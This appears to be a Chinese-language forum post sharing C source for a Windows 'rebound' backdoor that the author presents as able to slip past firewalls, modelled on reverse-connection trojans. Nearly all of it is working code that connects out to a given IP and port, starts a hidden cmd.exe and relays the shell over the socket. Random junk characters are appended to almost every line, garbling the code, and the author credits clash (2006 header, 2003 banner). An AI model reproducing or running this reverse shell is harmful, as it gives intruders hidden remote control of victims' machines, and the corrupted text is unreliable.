这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zni)<fmju
c\% r38
/* ============================== ?BhMjsy.
Rebound port in Windows NT w`l{LHrR
By wind,2006/7 A>{p2?`+!
===============================*/
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#include o[E_Ge}g8
#include iMfngIs |
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#pragma comment(lib,"wsock32.lib") YDGS}~m~Q
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void OutputShell(); t<n"-Tqu
SOCKET sClient;
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZylJp8U
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void main(int argc,char **argv) BcD&sQ2F
{ ^( Rvk
WSADATA stWsaData; W
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int nRet; C{2xHd/*
SOCKADDR_IN stSaiClient,stSaiServer; `Y?87f:SP
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if(argc != 3) /*|oL#hK
{ P]z[v)}
printf("Useage:\n\rRebound DestIP DestPort\n"); U\rh[0
return; |a{Q0:
} x1 1U@jd+1
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2 1PFR:lP7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O0>A+o[1F
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stSaiClient.sin_family = AF_INET; WL{(Ob
stSaiClient.sin_port = htons(0); Ngg?@pG0y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;l$ \6T
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) U.{l;EL:T
{ 3Tq\BZ
printf("Bind Socket Failed!\n"); DS|KkTy3
return; e*j.
} fqu}Le
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stSaiServer.sin_family = AF_INET; sdCvG R e
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `<[6YH_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qaim6a
{ G^"Vo x4
printf("Connect Error!"); X0*QV- RN
return; -YD+(c`l
} TPhTaKCio
OutputShell();
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} >%E([:$A
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void OutputShell() #.[AK_S5&
{ s( <uo{
char szBuff[1024]; 8}w6z7e|{
SECURITY_ATTRIBUTES stSecurityAttributes; %zU`XVNN+
OSVERSIONINFO stOsversionInfo; a}Sd W
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |w}xl'>q
STARTUPINFO stStartupInfo; m`6Yc:@E
char *szShell; a(]`F(L
PROCESS_INFORMATION stProcessInformation; 1}ZKc=Pfu
unsigned long lBytesRead; ?OdJqw0,G
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1y^K/.5-
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jEXW
stSecurityAttributes.lpSecurityDescriptor = 0; H UoyLy
stSecurityAttributes.bInheritHandle = TRUE; #E0t?:t5bk
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2wqk,c[]
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f`>/
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); drwgjLC+
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :Sg_tOf
stStartupInfo.wShowWindow = SW_HIDE; Da$r `
stStartupInfo.hStdInput = hReadPipe; QCPID:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P\CDd=yWc
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GetVersionEx(&stOsversionInfo); NvjJb-u
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switch(stOsversionInfo.dwPlatformId) 0:KE@=
{ G= ^X1+_
case 1: N?dvuB
szShell = "command.com"; SvvUkQ#1w
break; C}IbxKl
default: >*twTlb{
szShell = "cmd.exe"; acd:r%y
break; t)oa pIeIe
} 4\.V
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); o
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send(sClient,szMsg,77,0); [=*E+Oc
while(1) G)>W'yxQ
{ }W)=@t
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I>h<b_y
if(lBytesRead)
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{ RANPi\]
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U3vEdw<lV
send(sClient,szBuff,lBytesRead,0); !}3,B28
} .DJDpP)M
else f7}"lG]q
{ o7&4G$FX~
lBytesRead=recv(sClient,szBuff,1024,0); D 7shiv|,
if(lBytesRead<=0) break; i`%.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &ntBU]<q
} ]Gc3Ea;4
} FgA//)1
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return; .
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}